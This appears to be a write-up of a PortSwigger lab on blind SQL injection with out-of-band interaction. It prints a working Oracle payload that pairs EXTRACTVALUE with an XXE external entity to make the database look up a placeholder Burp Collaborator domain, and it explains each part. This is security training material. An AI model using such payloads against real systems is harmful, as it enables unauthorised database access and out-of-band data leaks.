Blind SQL injection with out-of-band interaction

4 min read Easy PortSwigger
SQL injection
Contents

On this page

The Lab

Here is how PortSwigger describes it.

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain. To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.

Looking at the Lab#

This one is a different beast from the last three blind labs. In conditional errors, conditional responses, and time delays, we always had some kind of signal to read back, an error page, a difference in content, or a delay we could time. Here we get none of that. The query runs asynchronously, meaning the application fires it off and moves on without waiting around for the result, so there's nothing on the page to observe at all, no error, no delay, nothing.

So if the application gives us absolutely nothing back, how do we confirm the injection worked? We stop watching the application entirely and make the database itself reach out to us instead. This is called an out of band interaction, instead of inferring something indirectly through the app's response, we get the database to make an outbound network connection, in this case a DNS lookup, straight to a server we control. If that lookup shows up, we know the injection fired, no matter what the application's response looked like.

PortSwigger already tells us exactly where the injection point is in the lab description, the TrackingId cookie, so there's no need to go hunting for it like we did in the earlier labs.

Step 1 - Understand the Technique#

The payload we're going to use combines SQL injection with a classic XXE trick.

Oracle has a function called EXTRACTVALUE() that's meant to pull a piece of data out of an XML document. The catch is, before it can extract anything, it first has to parse that XML. And if the XML we feed it contains something called an external entity, a reference that tells the parser to go fetch content from an external location, the parser will actually try to reach out and grab it. That's the entire trick, we're not exploiting EXTRACTVALUE() itself, we're exploiting the XML parser it depends on, by handing it XML that includes an instruction to reach out to a domain we control. The moment the parser tries to resolve that domain, it performs a DNS lookup, and that lookup is the proof we need that our injection actually executed.

If you're running Burp Suite Pro, this part is simple. Open the Burp Collaborator tab and copy a fresh unique subdomain from there. That domain is your listening post, this is what you'll get the database to reach out to, and Collaborator will show you exactly when it receives a hit.

Step 3 - Build the Payload#

Now let's put the injection together.

SQL
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

Let's take this apart piece by piece since it's dense.

  • UNION SELECT appends our own query results onto the original query, same idea as combining two result sets into one.
  • EXTRACTVALUE(xmltype('...'), '/l') is the Oracle function we talked about above. It takes a chunk of XML, converts it with xmltype(), and tries to pull a value out at the path /l. We don't actually care what it returns, we only care that it has to parse the XML first.
  • Inside that XML is a DOCTYPE declaration defining a custom external entity called remote. The SYSTEM keyword tells the parser this entity's value should be fetched from an external location rather than defined locally, and that location is our Collaborator subdomain.
  • %remote; then references that entity, which is what actually triggers the parser to go fetch it.
  • FROM dual is there because, as we covered in the conditional errors post, Oracle requires every SELECT to name a table, and dual is the dummy table used when there's nothing real to select from.
  • -- comments out anything left over from the original query.

So when this hits the database, Oracle parses the XML, sees the external entity pointing at our Collaborator subdomain, and tries to resolve it, which means it has to perform a DNS lookup on that domain first.

Swap BURP-COLLABORATOR-SUBDOMAIN in the payload for the subdomain you copied earlier, then send it in as the TrackingId cookie value.

Step 4 - Confirm the Interaction#

Head back over to the Collaborator tab and poll for interactions. If everything worked, you'll see a DNS lookup show up, sent straight from the database server itself.

x

That single incoming DNS request is proof enough that the injection landed successfully, and it's also all this lab needs. Once Collaborator shows that interaction, the lab solves itself automatically